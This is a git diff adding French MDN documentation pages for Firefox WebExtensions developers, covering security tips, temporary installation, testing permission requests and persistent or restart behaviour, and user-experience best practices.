  • Créez votre interface utilisateur avec des composants d'extension
    + Créez l'interface utilisateur de votre extension à l'aide des fonctions intégrées de l'interface utilisateur d'extension, telles que les pages groupées, pageAction et les fenêtres contextuelles sur pageAction et browserAction. N'ajoutez pas d'éléments d'interface utilisateur, tels que des boutons ou des barres d'outils, directement aux pages Web. Si vous le faites, les scripts sur la page Web pourraient compromettre votre extension. Voir extension du navigateur Keybase Insecure pour un exemple des problèmes potentiels.
    + Si les composants de l'interface utilisateur standard ne suffisent pas, utilisez des iframes avec des URL de données pour éviter les empreintes digitales ou ajoutez des iframes au code d'extension afin qu'une page ne puisse pas interagir avec le contenu de votre interface utilisateur, comme les boutons.
    • +
  • Ajouter eslint-plugin-no-unsanitized à ESLint
    + Si vous utilisez ESLint pour vérifier votre code d'extension, pensez à ajouter eslint-plugin-no-unsanitized. Ce plug-in de règles ESLint signale les instances où du code non-initié provenant d'API ou d'entrées utilisateur peut provoquer des problèmes.
    • +
  • Ne pas injecter les chemins moz-extension directement
    + Lorsque les liens, les inclusions ou les images injectés incluent des chemins vers  moz-extension://{hash} le script de suivi d'une page peut utiliser cette information pour identifier l'utilisateur, car le hachage (UUID) est unique à l'installation de l'extension et, par conséquent, l'utilisateur.
    + La meilleure façon d'éviter ce problème est de suivre les conseils généraux concernant l'injection de contenu. Cependant, si vous pensez que l'injection de contenu est votre seule approche pratique, assurez-vous que les chemins moz-extension sont incorporés dans un iframe en utilisant une URL de données ou l'attribut srcdoc.
    • +
  • S'assurer que les bibliothèques tierces sont à jour
    + tierces réputées seront mises à jour lorsque des problèmes seront détectés. L'utilisation de bibliothèques tierces périmées (et potentiellement non sécurisées) est fortement déconseillée et, lorsqu'un risque important est identifié, l'AMO peut agir pour bloquer les extensions en utilisant le code obsolète.
    + Par conséquent, utilisez toujours la dernière version des bibliothèques tierces lorsque vous créez votre extension. Ensuite, prenez connaissance des mises à jour de ces bibliothèques et soyez prêt à mettre à jour votre extension pour vous assurer qu'elle utilise une version à jour de la bibliothèque.
    • +
  • Ne pas modifier les bibliothèques tierces
    + Les modifications apportées à une bibliothèque tierce sont un indicateur significatif qu'un développeur essaie de cacher du code malveillant dans un code généralement connu et approuvé. AMO va donc essayer de détecter les modifications apportées aux bibliothèques tierces et peut désactiver les extensions lorsqu'il trouve des modifications.
    • +
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html new file mode 100644 index 0000000000..26f97b3cac --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html @@ -0,0 +1,56 @@ +--- +title: Installation temporaire dans Firefox +slug: Mozilla/Add-ons/WebExtensions/installation_temporaire_dans_Firefox +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox +--- +
{{AddonSidebar}}
+ +

Cet article décrit comment une extension développée peut être temporairement installée dans Firefox pour la tester et la déboguer. L'extension restera installée jusqu'à ce que vous redémarriez Firefox. Vous pouvez utiliser cette méthode avec tout type d'extension ne nécessitant pas de redémarrage, y compris les extensions bootstrap et les extensions utilisant le SDK des Add-ons.

+ +

Notez que les utilisateurs ne devraient pas utiliser cette méthode pour installer des extensions dans Firefox. Les utilisateurs installeront des extensions en téléchargeant et en ouvrant des extensions packagées qui ont été signées par Mozilla. Pour savoir comment un développeur d'extension peut faire packager et signer son extension, consultez Publier votre extension.

+ +

Pour installer une extension temporairement :

+ +
    +
  • Ouvrez Firefox
    • +
  • Entrez "about:debugging" dans la barre de l'URL
    • +
  • Cliquez sur "Charger un module temporaire"
    • +
  • Ouvrez le répertoire de l'extension et sélectionnez n'importe quel fichier à l'intérieur de l'extension.
    • +
+ +

L'extension sera installée et restera installée jusqu'à ce que vous redémarriez Firefox.

+ +

{{EmbedYouTube("cer9EUKegG4")}}

+ +

Recharger une extension temporaire

+ +

À partir de Firefox 48, il y a un nouveau bouton appelé "Recharger" à côté du nom de l'extension dans about:debugging :

+ +

Il fait ce qu'il dit :

+ + + +

{{EmbedYouTube("NuajE60jfGY")}}

+ +
+

Notez que dans Firefox 48 uniquement, "Recharger" ne met pas à jour le nom et la description de l'extension qui sont affichés dans about:debugging et about:addons. Ceci a été corrigé dans Firefox 49.

+
+ +

Utilisation de la ligne de commande

+ +

Si vous utilisez déjà la ligne de commande pour le développement, consultez l'outil web-ext. Il automatise temporairement l'installation et recharge automatiquement votre extension quand le code source a changé.

+ +

Détection d'installation temporaire

+ +

Votre extension peut détecter si elle a été installée depuis about:debugging au lieu d'avoir été téléchargée comme une extension packagée et signée depuis addons.mozilla.org. Écoutez l'événement {{WebExtAPIRef("runtime.onInstalled")}} et vérifiez la valeur de details.temporary.

+ +

Limitations

+ +

L'installation temporaire d'une extension n'imite pas complètement le comportement d'une extension signée. Par exemple, si l'extension fait des demandes d'autorisation de temps d'installation, celles-ci ne sont pas affichées dans le cadre du processus d'installation temporaire. De plus, des fonctions, comme le stockage local, persistent même si l'extension est supprimée et que le navigateur redémarre.

+ +

Pour plus d'informations sur la façon de traiter ces situations, voir les demandes de permissions et Test des fonctionnalités persistantes et de redémarrage.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/test_permission_requests/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/test_permission_requests/index.html new file mode 100644 index 0000000000..815653592d --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/test_permission_requests/index.html @@ -0,0 +1,134 @@ +--- +title: Demandes de permission +slug: Mozilla/Add-ons/WebExtensions/demandes_de_permission +tags: + - Add-ons + - Extensions + - Guide + - Permissions + - Testing + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Test_permission_requests +--- +

{{AddonSidebar}}

+ +

Votre extension peut contenir deux types de demandes de permission : les demandes de temps d'installation et les demandes de permission d'exécution. Cette page explique comment vous pouvez tester la façon dont vos utilisateurs verront les demandes de ces permissions.

+ +

Comportement de l'octroi de la permission pendant le test

+ +

Lorsque vous testez avec une extension non compressée utilisant about:debugging ou web-ext et les permissions d'installation et d'exécution sont traitées comme suit :

+ +
    +
  • Les demandes de permission de temps d'installation sont accordées en silence. Vous ne voyez pas les avertissements de permission que les utilisateurs verraient.
    • +
  • Les demandes d'autorisation d'exécution affichent la demande d'accrochecomme d'habitude. Ces permissions restent en place jusqu'à ce qu'elles soient révoquées programmatiquement par l'extension, l'extension est supprimée en utilisant about:debugging ou redémarrer Firefox.
    • +
+ +

Observeer ou vérifier des demandes de permissions lors de l'installation

+ +

Vous suivez différents processus selon que vous souhaitez observer les demandes de permissions associées à une installation ou à une mise à niveau.

+ +

Demandes de permission pour l'installation d'extensions

+ +

Pour afficher les avertissements de permission de temps d'installation que les utilisateurs voient lors de l'installation de votre extension et retester les demandes d'autorisation d'exécution, installez l'extension depuis son fichier *.xpi ou *.zip.

+ +

Pour ce faire, vous devez utiliser un fichier *.xpi ou *.zip non signé :

+ +
    +
  • donnez un identifiant à votre extension à l'aide de la clé d'applications application.
    • +
  • exécuter les versions Nightly ou Developer Edition de Firefox.
    • +
  • Définissez la préférence about:config xpinstall.signatures.required à  false.
    • +
+ +

Installez ensuite l'extension à l'aide de l'option Installer Add-on à partir du fichier dans le gestionnaire de modules complémentaires (about:addons). Au fur et à mesure que l'extension s'installe, la demande d'octroi des permissions s'affiche lors de l'installation, comme ceci :

+ +

Example of the doorhanger displayed when installing an extension through about:addons

+ +

Notez que le message d'avertissement concerne une extension non signée ; ce message ne s'affiche pas pendant l'installation depuis addons.mozilla.org.

+ +

Demande de permission  pour la mise à niveau de l'extension

+ +
+

Pour plus de détails sur la façon de fournir des mises à jour d'extension Web lorsque vous hébergez vous-même votre extension, voir Mises à jour.

+
+ +

Pour afficher les avertissements d'autorisation de temps d'installation que les utilisateurs voient lorsque votre extension est mise à niveau par Firefox et retester les demandes d'autorisation d'exécution, vous installez l'extension depuis son fichier.xpi posté sur un serveur HTTP ou HTTPS.

+ +

Vous pouvez utiliser un serveur HTTP (tel qu'un simple serveur localhost python) ou un serveur HTTPS. Cependant, votre serveur HTTPS doit avoir un certificat vérifiable, que Firefox peut accepter automatiquement ; vous ne pouvez pas utiliser un certificat auto-signé. Si vous voulez tester à partir d'un serveur HTTPS mais n'en avez pas, les pages GitHub sont une option que vous pouvez utiliser.

+ +

Pour effectuer le test, vous devrez :

+ +
    +
  • déterminer l'adresse du serveur HTTP ou HTTPS où vous pouvez héberger les fichiers.
    • +
  • utilisez  la clé des applications manifest.json pour : + +
    • +
  • si nécessaire, créez un paquet contenant votre extension originale.
    • +
  • mettre à jour votre extension et ajouter les détails des nouvelles permissions requises au fichier manifest.json, sans oublier de mettre à jour le numéro de version. Créez un paquet contenant votre extension mise à jour. +
    Si les paquets ont été générés avec des extensions.zip, changez-les en.xpi, sinon votre navigateur pourrait essayer de télécharger plutôt que d'installer l'extension.
    +
    • +
+ +
    +
  • Créer la mise à jour du manifest avec les détails des deux versions d'extension, qui devrait être similaire à celui-ci : + + 
    {
+  "addons": {
+    "test@your-address.com": {
+      "updates": [
+        { "version": "n.0", "update_link": "https://your-account.github.io/webextensions/your-extension-1.0.xpi" },
+        { "version": "n+1.0", "update_link": "https://your-account.github.io/webextensions/your-extension-2.0.xpi" }
+      ]
+    }
+  }
+}
    +
    • +
  • télécharger les deux paquets d'extension et les mises à jour manifestes sur votre serveur HTTP ou HTTPS.
    • +
  • exécuter les versions Nightly ou Developer Edition de Firefox.
    • +
  • dans about:config : +
      +
    • Définissez la préférence xpinstall.signatures.required à false.
      • +
    • Si vous utilisez Nightly et hébergez votre mise à jour sur un serveur HTTP, créez et définissez les préférences extensions.checkUpdateSecurity et  extensions.install.requireSecureOrigin à false. Pour faire ceci : +
        +
      • entrez le nom de la préférence dans la zone de recherche.
        • +
      • cliquez sur Ajouter.
        + Create a new about:config item in Nightly
        • +
      • basculez la préférence pour la mettre à false.
        + Toggle the boolean value of a about:config item in Nightly
        • +
      +
      • +
    +
    • +
  • ouvrez le lien vers le premier fichier XPI pour l'installer.
    • +
  • Ouvrez about:addons, cliquez sur l'icône cranter et cliquez sur Check for Updates.
    • +
  • vous obtiendrez un message d'avertissement de permission, similaire à celui ci-dessous, détaillant les permissions supplémentaires demandées :
    + Example of the doorhanger displayed when testing permission requests for an extension upgrade
    • +
+ +
+

Si la mise à niveau n'a pas lieu, recherchez dans les logs addons.update-checker de la console du navigateur. Toute erreur rencontrée au cours du processus de mise à niveau sera signalée dans le journal de logs.

+
+ +

Re-tester les permissions d'éxécution octroyées

+ +

Pour tester à nouveau les permissions d'exécution de votre extension et son comportement post-installation, vous avez deux choix :

+ + + +

Vous pouvez ensuite réexécuter l'extension et toutes les demandes de permissions d'exécution seront affichées comme si l'extension était exécutée pour la première fois.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/testing_persistent_and_restart_features/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/testing_persistent_and_restart_features/index.html new file mode 100644 index 0000000000..92e16e408d --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/testing_persistent_and_restart_features/index.html @@ -0,0 +1,124 @@ +--- +title: Test des fonctionnalités persistantes et de redémarrage +slug: >- + Mozilla/Add-ons/WebExtensions/test_des_fonctionnalites_persistantes_et_de_redemarrage +tags: + - Comment + - Débutant + - Développement + - Intermédiaire + - WebExtensions + - add-on + - test + - web-ext +translation_of: Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features +--- +

{{AddonSidebar}}

+ +

Lors du test de votre extension, vous pouvez remarquer que certaines fonctionnalités se réinitialisent ou cessent de fonctionner lorsque vous chargez une version mise à jour ou après le redémarrage de Firefox. Par exemple, vous pouvez utiliser le stockage local et remarquer que les données précédemment sauvegardées disparaissent lorsque vous rechargez votre extension. Alternativement, vous pouvez tester votre extension à travers un redémarrage de Firefox, mais notez que votre extension ne reste pas chargée.

+ +

Cet article explique pourquoi vous voyez ces comportements. Il vous montre ensuite ce qu'il faut faire pour vous assurer que les fonctions persistent lorsque vous rechargez votre extension et comment configurer pour tester le comportement de redémarrage.

+ +

Avant de regarder comment Firefox traite l'extension que vous testez; Il y a quelques fonctionnalités de Firefox et des extensions dont vous devez être conscient : l'ID du module complémentaire et les profils Firefox.

+ +

Qu'est-ce qu'un ID complémentaire ?

+ +

L'ID de module complémentaire est utilisé pour identifier de manière unique chaque extension et à son tour, cet ID est utilisé pour lier une extension à certaines fonctionnalités des API WebExtension. Ces fonctionnalités sont:

+ +
    +
  • {{WebExtAPIRef("storage.managed")}} — identifie les données comme appartenant à l'extension par son ID add-on.
    • +
  • {{WebExtAPIRef("storage.sync")}} — identifie les données comme appartenant à l'extension par son ID complémentaire.
    • +
  • {{WebExtAPIRef("identity.getRedirectURL")}} — l'URL de redirection inclut l'ID complémentaire de l'extension.
    • +
  • Native messaging — l'application native identifie les extensions qui peuvent communiquer avec elles par leur ID complémentaire.
    • +
  • {{WebExtAPIRef("pkcs11")}} — le module PKCS #11 identifie les extensions qui peuvent communiquer avec lui par leur ID complémentaire.
    • +
  • {{WebExtAPIRef("runtime.onMessageExternal")}} — une extension envoie des messages à un autre poste en utilisant son ID complémentaire comme adresse.
    • +
  • {{WebExtAPIRef("runtime.onConnectExternal")}} — une extension demande une connexion avec une extension par l'ID d'extension de l'autre extension.
    • +
  • {{WebExtAPIRef("browserAction")}} — la position sauvegardée du bouton est identifiée comme appartenant à l'extension en fonction de son ID add-on.
    • +
+ +

Une extension peut se voir attribuer un ID complémentaire en utilisant la clé  "applications" du fichier manifest.json.

+ +
"applications": {
+  "gecko": {
+    "id": "addon@example.com",
+    }
+  }
+ +

Si l'extension n'a pas d'ID de module défini avec la clé "applications" , il reçoit un ID de module complémentaire via l'un des éléments suivants:

+ +
    +
  • Si l'extension est soumise à l'AMO et signée, elle reçoit un identifiant lorsqu'elle est signée.
    • +
  • Si l'extension est chargée à l'aide de Load Temporary Add-on dans  about:debugging un ID complémentaire temporaire lui est affecté.
    + Example of a temporarily loaded extension showing its various IDs
    • +
+ +

Vous remarquerez un ID supplémentaire dans l'image ci-dessus, l'UUID interne. C'est un identifiant unique donné à l'extension lors de l'installation. Il est utilisé pour définir l'emplacement de stockage des ressources incluses dans l'extension et identifier les données d'un poste dans window.localStorage ou indexedDB. Cependant, vous n'avez pas besoin de connaître sa valeur. Son utilisation dans window.localStorage ou indexedDB est transparente et pour accéder aux ressources incluses dans l'extension, vous utilisez {{WebExtAPIRef("runtime.getURL")}}, qui renvoie le chemin d'accès aux ressources. De plus, étant donné qu'il est unique à chaque installation, il ne fournit pas d'ID pouvant être utilisé à d'autres fins.

+ +

Qu'est-ce qu'un profil Firefox?

+ +

Les données qui définissent la manière dont l'utilisateur a configuré Firefox, ainsi que les informations générées lors de la navigation sur le Web, telles que l'historique et les cookies, sont stockées dans un dossier spécial, appelé profile. En plus des cookies, le profil contient du stockage local et d'autres contenus liés au profil.

+ +

Comportement d'extension dans Firefox

+ +

Lorsque vous développez une extension, en supposant que vous n'avez pas défini d'ID complémentaire à l'aide de la clé "applications", le comportement par défaut dans Firefox est le suivant :

+ +
    +
  • lorsque vous utilisez la fonction Load Temporary Add-on dans environ: le débogage de votre extension se voit attribuer un nouvel ID de module complémentaire chaque fois que vous le chargez.
    • +
  • Lorsque vous utilisez Web-ext, en plus d'obtenir un nouvel ID complémentaire chaque fois que vous lancez une extension, il est également lancé dans un nouveau profil.
    • +
  • lorsqu'une extension temporairement chargée est déchargée, le stockage local, tel que celui utilisé par storage.local, window.localStorage, et indexedDB, est supprimé.
    • +
  • Lorsque vous arrêtez Firefox, les extensions temporairement chargées sont déchargées et ne sont donc pas disponibles lorsque Firefox redémarre. Cela inclut les extensions chargées avec Load Temporary Add-on dans about:debugging et web-ext.
    • +
+ +

Les conséquences de ce comportement, lors du rechargement d'une extension, sont les suivantes :

+ +
    +
  • toutes les données dans le stockage local ou de synchronisation sont perdues.
    • +
  • toute URL de redirection devient invalide.
    • +
  • l'extension ne pourra plus communiquer avec des applications natives ou un module PKCS #11.
    • +
  • il ne sera plus possible d'envoyer des messages ou de créer des connexions entre les extensions.
    • +
  • vous ne pouvez pas tester le comportement de l'extension si Firefox est arrêté et redémarré.
    • +
  • Les positions de browserAction ne sont pas reportées
    • +
+ +

Que dois-je faire pour m'assurer de pouvoir tester mon extension ?

+ +

Pour que votre extension se comporte comme une extension signée pendant les tests de développement, utilisez les techniques suivantes :

+ +
    +
  • pour vous assurer qu'une extension peut utiliser des fonctionnalités dépendantes de l'ID complémentaire entre les rechargements, telles que le stockage local ou la communication d'application native : +
      +
    • définir un ID de module complémentaire à l'aide de la clé "applications" dans le fichier manifest.json de l'extension.
      • +
    • lorsque vous utilisez web-ext, assurez-vous d'utiliser le même profil.
      • +
    +
    • +
  • pour vous assurer d'utiliser le même profil pour plusieurs tests d'une extension lors de l'utilisation de web-ext : +
      +
    • en option, utilisez Profile Manager pour créer un nouveau profil Firefox.
      • +
    • rouvez le chemin vers votre nouveau profil ou le profil Firefox par défaut en suivant les instructions dans Comment trouver mon profil ?
      • +
    • ajoutez le chemin du profil Firefox à la commande web-ext run comme ceci :
      + web-ext run --firefox-profile [A PATH TO A FIREFOX PROFILE] --keep-profile-changes
      • +
    +
    • +
  • pour préserver les données storage.local, l'accès à window.localStorage ou les données indexedDB lors de la suppression d'un add-on temporaire (par exemple entre deux redémarrages du navigateur) : +
      +
    • allez à about:config et réglez extensions.webextensions.keepStorageOnUninstall et extensions.webextensions.keepUuidOnUninstall à true.
      • +
    +
    • +
  • pour tester le comportement de redémarrage : +
      +
    • définir un ID de module complémentaire à l'aide de la clé "applications" dans le fichier manifest.json de l'extension.
      • +
    • installez les éditions Nightly ou Developer de Firefox. Remarque :  Vous pouvez également utiliser les versions unbranded Beta et Release builds.
      • +
    • allez à about:config et définissez xpinstall.signatures.required à false.
      • +
    • Compressez votre extension dans un fichier ZIP using web-ext ou en compressant manuellement.
      • +
    • installez votre extension en utilisant Install Add-on From File dans le gestionnaire de modules complémentaires (about:addons).
      + Remarque: N'oubliez pas que vous devrez recharger votre extension chaque fois que vous la modifiez.
      + Remarque: Si vous ne définissez pas l'ID du module complémentaire, lorsque vous chargez l'extension, vous obtenez une erreur comme celle-ci : +

      Example of the message displayed when an add-on ID cannot be found for an extension

      + +

      avec une erreur correspondante dans la console du navigateur .

      + +

      Example of the message displayed in the browser console when an add-on ID cannot be found for an extension

      +
      • +
    +
    • +
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html new file mode 100644 index 0000000000..bab0b4a22a --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html @@ -0,0 +1,190 @@ +--- +title: Expérience utilisateur bonnes pratiques +slug: Mozilla/Add-ons/WebExtensions/Experience_utilisateur_bonnes_pratiques +tags: + - Add-ons + - Extensions + - Guide + - UI + - UX +translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices +--- +
{{AddonSidebar()}}
+ +

Vous voudrez vous assurer que vos utilisateurs ont une excellente expérience en utilisant votre extension—quand vous le ferez, les bonnes critiques et évaluations suivront sur addons.mozilla.org (AMO).

+ +

Si vous êtes nouveau sur le sujet de rendre un logiciel utilisable. un bon point de départ pour démarrer est l'Heuristique d'usabilité de Jakob Nielsen. Nous vous recommandons, que vous soyez nouveau pour le développement d'extension ou pour un professionnel expérimenté, en utilisant les Heuristiques de Nielsen comme une liste de contrôle du test de votre expérience utilisateur (UX).

+ +

Nous présentons ici les six étapes à suivre pour créer des fonctionnalités Firefox et UX spécifiques afin que vous puissiez créer une extension qui séduise, informe, enchante et fidélise vos utilisateurs.

+ +

En plus des étapes décrites ici, votre extension doit suivre les règles d'Add-on Policies, qui incluent la transparence avec les utilisateurs sur la sécurité, la confidentialité et le contrôle de l'utilisateur.

+ +

1. Gardez le cap

+ +

Les meilleures extensions Firefox offrent aux utilisateurs une nouvelle fonctionnalité ou capacité qui répond à un besoin, qu'il soit plus intelligent, plus efficace ou plus agréable de navigation. Idéalement, votre extension permet à l'utilisateur d'économiser du temps, de l'argent ou de la frustration.

+ +

Une extension est meilleure lorsqu'elle est centrée autour d'un cas d'utilisation principal et qu'elle s'adresse à ce cas d'utilisation aussi bien que possible pour le public cible :

+ +
    +
  • Il doit ajouter une fonction ou un ensemble de fonctions étroitement liées au navigateur, modifier une fonction du navigateur ou modifier des pages Web.
    • +
  • Déterminez si vous y êtes parvenu en demandant si vous pouvez facilement communiquer les caractéristiques et le but de la prolongation en trois phrases (courtes) ou moins.
    • +
+ +

2. Donner aux utilisateurs ce dont ils ont besoin, là où ils en ont besoin

+ +

Choisir la bonne façon, ou la combinaison de plusieurs façons, de rendre la fonctionnalité de votre extension disponible pour l'utilisateur peut avoir un effet significatif sur la convivialité. Poser quelques questions simples sur les fonctionnalités de votre poste peut vous guider rapidement vers les bons choix :

+ +

Est-ce que mon extension fonctionne sur la plupart des sites et pages web ?

+ +

Si votre extension fournit à l'utilisateur des fonctionnalités qu'il peut utiliser sur presque tous les sites Web ou pages, donnez-lui accès à partir d'un bouton de la barre d'outils en utilisant l'action du navigateur.

+ +
    +
  • Cela peut inclure l'accès à votre éditeur d'images ou l'ouverture d'une page de votre site Web.
    • +
+ +

+ +

Lorsque vous voulez donner l'accès à l'utilisateur à plusieurs fonctions, vous pouvez ajouter  popup au bouton (un popup apparaît comme un crochet de porte qui s'ouvre lorsque l'utilisateur sélectionne le bouton d'action du navigateur).

+ +

Est-ce que mon extension ne fonctionne que pour certains sites et pages web ?

+ +

 

+ +

Si votre extension fournit à l'utilisateur des fonctionnalités qu'il peut utiliser sur presque tous les sites Web ou pages, donnez-lui accès à partir d'un bouton de la barre d'outils en utilisant l'action du navigateur.

+ +
    +
  • Cela peut inclure l'accès à votre éditeur d'images ou l'ouverture d'une page de votre site Web.
    • +
+ +

 

+ +

+ +

Lorsque vous souhaitez donner accès à plusieurs fonctions à l'utilisateur, vous pouvez ajouter une fenêtre contextuelle au bouton.

+ +

Mon extension doit-elle afficher des informations ou proposer des actions en parallèle avec des pages web ?

+ +

Si votre extension contient des informations ou des actions auxquelles un utilisateur souhaite accéder immédiatement lorsqu'il consulte une page Web, utilisez une barre latérale.

+ +
    +
  • Il peut s'agir de notes que l'utilisateur peut faire sur le contenu d'une page ou d'une fonction offrant diverses substitutions de polices pour améliorer la lisibilité.
    • +
+ +

+ +

Mon extension offre-t-elle des fonctionnalités spécifiques au contenu de la page ou à d'autres fonctions du navigateur ?

+ +

Si votre extension offre des fonctionnalités auxquelles l'utilisateur peut vouloir accéder en contexte, ajoutez-les à un menu contextuel approprié.

+ +
    +
  • Cela peut inclure l'accès à un éditeur d'image dans le menu contextuel de l'image ou des fonctions de copie étendues dans le menu contextuel pour le contenu de la page sélectionnée.
    • +
+ +

Example of content menu items added by a WebExtension, from the context-menu-demo example

+ +

Est-ce que mon poste possède des paramètres que l'utilisateur peut régler ?

+ +

Si votre extension permet à l'utilisateur de modifier et d'enregistrer les paramètres qui affectent le comportement de l'extension, utilisez une page d'options pour fournir un lien Préférences standard vers les paramètres du gestionnaire des extensions

+ +

Typical preferences button, to access an extension's settings, from the Add-on Manager

+ +
+

Dans le système d'exploitation Windows, le bouton "Préférences" est appelé "Options".

+
+ +

Est-ce que mon extension a besoin de collecter beaucoup d'informations ou d'afficher du contenu en plus des onglets actuels ?

+ +

Lorsque votre extension a besoin de rassembler ou d'afficher des quantités importantes d'informations (plus qu'il n'est nécessaire pour une alerte ou qu'un formatage supplémentaire serait avantageux) utilisez pages webs groupées pour fournir des formulaires et un contenu similaire.

+ +

Example of a simple bundled page displayed as a detached panel.

+ +

Est-ce que mon extension essaie d'aider l'utilisateur à trouver des pages web ou du contenu ?

+ +

Si votre extension inclut une fonctionnalité permettant de localiser des pages Web ou du contenu, par exemple en proposant une recherche spécifique à un site, utilisez les suggessions de la barre d'adresse pour fournir ces recommandations.

+ +

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

+ +

Mon extension offre-t-elle des outils pour les développeurs ?

+ +

Si vous fournissez des outils pour les développeurs, ajoutez-les aux outils de développement Firefox en utilisant les panneaux des outils de développement.

+ +

3. Tenir l'utilisateur informé

+ +

S'assurer que l'utilisateur sait ce qui va se passer, ce qui se passe et ce qui s'est passé dans votre extension est un élément essentiel pour établir la confiance et assurer un utilisateur heureux.

+ +

Dites à l'utilisateur ce qui va se passer, avant qu'il ne se produise.

+ +

Les utilisateurs doivent comprendre ce qui se passe lorsqu'ils cliquent sur un bouton :

+ +
    +
  • Fournissez une étiquette de bouton significative et descriptive.
    • +
  • Fournissez des infobulles qui décrivent l'action que le bouton va effectuer..
    • +
  • Ne mettez pas le nom de l'extension seul dans l'infobulle, à moins qu'il ne soit descriptif de l'action que le bouton va effectuer..
    • +
  • N'utilisez pas l'infobulle pour d'autres types d'informations telles que des statistiques détaillées sur votre extension. Gardez le contenu de l'infobulle simple et concentrez-vous sur ce qui se passera lorsque l'utilisateur clique sur le bouton.
    • +
+ +

Si quelque chose est vraiment important et que l'utilisateur n'en est pas conscient, informez-le.

+ +

Si votre extension a terminé une tâche d'arrière-plan critique et de longue durée, utilisez les  notifications natives du système d'exploitation pour mettre à jour l'utilisateur lorsque la tâche est terminée. Ceci peut être utile lorsque l'utilisateur ne se concentre pas sur l'extension ou le navigateur, une fois la tâche terminée.

+ +

Toutefois, utilisez les avis avec parcimonie. S'il suffit que l'utilisateur découvre qu'un processus est terminé lorsqu'il revient au navigateur ou à l'extension, n'utilisez pas de notifications.

+ +

+ +

Utiliser les badges browserAction avec parcimonie

+ +

Pour informer les utilisateurs des événements importants, vous pouvez ajouter un badge au dessus de l'icône de la barre browserAction. Faites-le avec parcimonie - n'utilisez pas de badges pour fournir des mises à jour régulières ou persistantes de l'état.

+ +

Lorsqu'il s'agit de coloriser un badge, il est recommandé d'utiliser l'une des quatre couleurs pour les notifications de gravité différente :

+ +
    +
  • Décontracté : bleu
    • +
  • Succès : vert
    • +
  • Attention : jaune
    • +
  • Erreur : rouge
    • +
+ +
+

L'utilisation des couleurs Firefox est suggérée, pour plus de détails voir Firefox Colors. Cependant, pour des raisons de compatibilité avec Chrome et Opera, nous prenons en charge toutes les couleurs que vous souhaitez utiliser.

+
+ +

4. Soyez Firefoxy dans l'apparence et la convivialité

+ +

Vos utilisateurs ont choisi Firefox pour une raison, peut-être pour plusieurs raisons, alors faites correspondre l'apparence de votre extension à celle de Firefox en utilisant le Firefox Photon Design System.

+ +

En suivant Photon, vous vous assurerez que votre extension s'intègre à l'expérience Firefox et la rendra plus facile à utiliser pour les utilisateurs.

+ +

5. Grande expérience d'intégration

+ +

Les premières minutes après l'installation de votre extension peuvent être cruciales pour son succès. Votre nouvel utilisateur doit savoir par où commencer et comment utiliser les fonctions de l'extension de votre navigateur.

+ +

Fournir une page d'accueil qui donne aux utilisateurs les informations essentielles dont ils ont besoin pour commencer. Rédigez des informations brèves et précises et proposez des options de configuration simples, le cas échéant. Pour plus d'informations sur la création d'une page d'embarquement, voir Bonnes pratiques pour les utilisateurs d'embarquement, d'embarquement, et de débarquement.

+ +

Si l'utilisateur saute la page d'embarquement, assurez-vous que votre poste est prêt à être utilisé immédiatement après l'installation. Il devrait être optimisé pour son cas d'utilisation principal et fonctionner comme prévu pour la plupart des utilisateurs sans avoir besoin de personnalisation.

+ +

6. Testez, testez, puis testez à nouveau

+ +

Le test est une partie essentielle de la création d'un UX exceptionnel pour votre extension. Il y a deux aspects clés du test de votre UX:

+ +
    +
  1. Effectuez des tests sur plusieurs appareils et plates-formes pour vous assurer que votre extension fonctionne et qu'elle fonctionne correctement dans le plus grand nombre d'endroits possible. Cela inclut la prise en compte de facteurs tels que la taille de l'écran et la résolution de l'utilisateur —simplement parce que votre extension est bonne et facile à utiliser sur votre écran de bureau ne signifie pas qu'elle fonctionne aussi bien sur un écran d'ordinateur portable, ou, effectivement, vice et versa.
    2. +
  2. Testez avec autant d'utilisateurs que possible. Ne supposez pas que vous connaissez votre auditoire, car les antécédents et l'expérience des gens peuvent faire une énorme différence dans la façon dont ils interagissent avec votre extension. Ainsi, permettre les tests utilisateur dans le cadre du développement de votre extension.
    3. +
+ +

Conseils de test :

+ +
    +
  • Dans AMO, vous avez la possibilité d'identifier votre extension comme expérimentale ou publier une  version beta ou une autre version non finale. + +
      +
    • Si vous marquez votre extension comme expérimentale, elle est listée dans AMO, mais avec un profil plus bas. Lorsque l'extension est prête pour un public plus large, vous pouvez désactiver le drapeau expérimental dans AMO.
      • +
    • Si vous avez une extension publiée, vous pouvez utiliser le canal Développement pour proposer une version alpha ou bêta à tester. Vous devrez diriger vos testeurs vers le canal de développement de la liste de votre extension ou indiquer à vos testeurs le lien à utiliser pour installer votre extension.
      + The development channel section of an extension's listing page, offering access to alpha and beta versions for testing.
      + Lorsque vous êtes satisfait de votre mise à jour, vous pouvez la publier comme la nouvelle version de votre extension.
      • +
    +
    • +
  • Si vous souhaitez distribuer votre extension à des utilisateurs extérieurs à AMO, vous trouverez les instructions pour le faire, ainsi que les instructions d'installation que vous devez fournir aux utilisateurs, dans l'article sur les extensions de chargement latéral. N'oubliez pas que, contrairement à la distribution par l'entremise d'AMO, vous devrez envoyer aux utilisateurs toute version mise à jour de votre extension à mesure que vous apporterez des améliorations.
    • +
  • Utilisez le mode design réactif pour tester le comportement de votre extension sur d'autres tailles d'écran et types d'appareils.
    • +
+ +

